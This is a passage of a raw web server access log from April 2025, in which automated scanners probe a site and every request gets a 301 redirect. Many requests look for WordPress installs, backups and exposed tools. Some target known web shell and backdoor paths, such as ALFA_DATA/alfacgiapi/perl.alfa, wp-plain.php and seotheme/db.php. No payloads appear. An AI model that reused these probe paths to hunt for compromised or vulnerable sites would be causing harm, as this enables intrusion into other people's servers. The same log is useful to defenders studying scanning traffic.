301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.72.179 - - [08/Apr/2025:17:09:56 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 134.209.103.14 - - [08/Apr/2025:17:39:39 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 216.244.66.236 - - [08/Apr/2025:17:49:01 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 157.230.237.134 - - [08/Apr/2025:18:07:04 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 20.122.13.239 - - [08/Apr/2025:18:13:56 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.2657.16 Safari/537.36" 20.122.13.239 - - [08/Apr/2025:18:13:56 -0400] "GET /wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.2657.16 Safari/537.36" 20.122.13.239 - - [08/Apr/2025:18:13:56 -0400] "GET /wp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.2657.16 Safari/537.36" 20.122.13.239 - - [08/Apr/2025:18:13:57 -0400] "GET /blog/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.2657.16 Safari/537.36" 20.122.13.239 - - [08/Apr/2025:18:13:57 -0400] "GET /new/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.2657.16 Safari/537.36" 20.122.13.239 - - [08/Apr/2025:18:13:57 -0400] "GET /old/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.2657.16 Safari/537.36" 20.122.13.239 - - [08/Apr/2025:18:13:58 -0400] "GET /test/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.2657.16 Safari/537.36" 20.122.13.239 - - [08/Apr/2025:18:13:58 -0400] "GET /main/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.2657.16 Safari/537.36" 20.122.13.239 - - [08/Apr/2025:18:13:58 -0400] "GET /site/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.2657.16 Safari/537.36" 20.122.13.239 - - [08/Apr/2025:18:13:58 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.2657.16 Safari/537.36" 20.122.13.239 - - [08/Apr/2025:18:13:58 -0400] "GET /demo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.2657.16 Safari/537.36" 20.122.13.239 - - [08/Apr/2025:18:13:58 -0400] "GET /home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.2657.16 Safari/537.36" 20.122.13.239 - - [08/Apr/2025:18:13:59 -0400] "GET /tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.2657.16 Safari/537.36" 20.122.13.239 - - [08/Apr/2025:18:13:59 -0400] "GET /cms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.2657.16 Safari/537.36" 20.122.13.239 - - [08/Apr/2025:18:13:59 -0400] "GET /dev/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.2657.16 Safari/537.36" 20.122.13.239 - - [08/Apr/2025:18:14:00 -0400] "GET /portal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.2657.16 Safari/537.36" 20.122.13.239 - - [08/Apr/2025:18:14:00 -0400] "GET /web/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.2657.16 Safari/537.36" 212.30.36.48 - - [08/Apr/2025:18:21:34 -0400] "GET /adminer.php/adminer.php HTTP/1.1" 301 795 "-" "python-requests/2.32.3" 193.24.211.4 - - [08/Apr/2025:19:22:56 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:22:59 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:23:03 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:23:07 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:23:11 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:23:14 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:23:18 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:23:20 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:23:24 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:23:27 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:23:30 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:23:32 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:23:36 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:23:38 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:23:43 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:23:48 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:23:53 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:23:58 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:24:01 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:24:04 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:24:10 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:24:14 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:24:16 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:24:19 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:24:22 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:24:25 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:24:29 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:24:32 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:24:36 -0400] "GET /.X1-unix/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:24:40 -0400] "GET /.X1-unix/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:24:44 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:24:48 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:24:53 -0400] "GET /.qidb/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:24:57 -0400] "GET /.qidb/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:25:02 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:25:08 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:25:13 -0400] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [08/Apr/2025:19:25:18 -0400] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.117.23 - - [08/Apr/2025:20:45:29 -0400] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.117.23 - - [08/Apr/2025:20:45:29 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.117.23 - - [08/Apr/2025:20:45:29 -0400] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.117.23 - - [08/Apr/2025:20:45:29 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 196.251.117.23 - - [08/Apr/2025:20:45:29 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.117.23 - - [08/Apr/2025:20:45:36 -0400] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 216.244.66.236 - - [08/Apr/2025:21:16:30 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 216.244.66.236 - - [08/Apr/2025:22:04:55 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 47.243.56.171 - - [08/Apr/2025:22:16:21 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.2425.190 Safari/537.36" 172.172.103.135 - - [08/Apr/2025:22:20:20 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [08/Apr/2025:22:20:29 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [08/Apr/2025:22:20:31 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [08/Apr/2025:22:20:34 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [08/Apr/2025:22:20:36 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [08/Apr/2025:22:20:39 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [08/Apr/2025:22:20:41 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [08/Apr/2025:22:20:43 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [08/Apr/2025:22:20:44 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [08/Apr/2025:22:20:46 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 165.227.188.67 - - [08/Apr/2025:22:33:53 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.9.235.232 - - [08/Apr/2025:22:59:12 -0400] "GET /media/system/js/core.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 196.251.118.109 - - [08/Apr/2025:23:14:10 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4240.193 Safari/537.36" 196.251.85.190 - - [08/Apr/2025:23:22:56 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" 156.59.172.72 - - [08/Apr/2025:23:31:45 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0" 43.135.145.117 - - [08/Apr/2025:23:36:43 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 203.33.203.148 - - [08/Apr/2025:23:52:17 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 216.244.66.236 - - [09/Apr/2025:00:27:57 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 104.248.7.194 - - [09/Apr/2025:00:28:54 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 196.251.71.79 - - [09/Apr/2025:00:44:42 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 196.251.71.79 - - [09/Apr/2025:00:44:45 -0400] "GET /wordpress HTTP/1.1" 301 795 "-" "-" 196.251.71.79 - - [09/Apr/2025:00:44:54 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 196.251.71.79 - - [09/Apr/2025:00:44:57 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 196.251.71.79 - - [09/Apr/2025:00:45:00 -0400] "GET /wp HTTP/1.1" 301 795 "-" "-" 196.251.71.79 - - [09/Apr/2025:00:45:02 -0400] "GET /blog HTTP/1.1" 301 795 "-" "-" 196.251.71.79 - - [09/Apr/2025:00:45:07 -0400] "GET /new HTTP/1.1" 301 795 "-" "-" 196.251.71.79 - - [09/Apr/2025:00:45:09 -0400] "GET /old HTTP/1.1" 301 795 "-" "-" 196.251.71.79 - - [09/Apr/2025:00:45:12 -0400] "GET /newsite HTTP/1.1" 301 795 "-" "-" 196.251.71.79 - - [09/Apr/2025:00:45:16 -0400] "GET /test HTTP/1.1" 301 795 "-" "-" 196.251.71.79 - - [09/Apr/2025:00:45:20 -0400] "GET /main HTTP/1.1" 301 795 "-" "-" 196.251.71.79 - - [09/Apr/2025:00:45:21 -0400] "GET /testing HTTP/1.1" 301 795 "-" "-" 196.251.71.79 - - [09/Apr/2025:00:45:24 -0400] "GET /site HTTP/1.1" 301 795 "-" "-" 196.251.71.79 - - [09/Apr/2025:00:45:27 -0400] "GET /backup HTTP/1.1" 301 795 "-" "-" 196.251.71.79 - - [09/Apr/2025:00:45:29 -0400] "GET /demo HTTP/1.1" 301 795 "-" "-" 196.251.71.79 - - [09/Apr/2025:00:45:32 -0400] "GET /home HTTP/1.1" 301 795 "-" "-" 196.251.71.79 - - [09/Apr/2025:00:45:35 -0400] "GET /tmp HTTP/1.1" 301 795 "-" "-" 196.251.71.79 - - [09/Apr/2025:00:45:39 -0400] "GET /dev HTTP/1.1" 301 795 "-" "-" 196.251.71.79 - - [09/Apr/2025:00:45:42 -0400] "GET /cms HTTP/1.1" 301 795 "-" "-" 196.251.71.79 - - [09/Apr/2025:00:45:45 -0400] "GET /portal HTTP/1.1" 301 795 "-" "-" 196.251.71.79 - - [09/Apr/2025:00:45:48 -0400] "GET /web HTTP/1.1" 301 795 "-" "-" 220.151.9.22 - - [09/Apr/2025:00:50:06 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36 Quark/3.6.2.993 Mobile" 40.70.220.174 - - [09/Apr/2025:00:52:16 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [09/Apr/2025:00:52:18 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [09/Apr/2025:00:52:21 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [09/Apr/2025:00:52:23 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [09/Apr/2025:00:52:30 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [09/Apr/2025:00:52:33 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [09/Apr/2025:00:52:35 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 40.70.220.174 - - [09/Apr/2025:00:52:37 -0400] "HEAD /new HTTP/1.1" 301 0 "-" 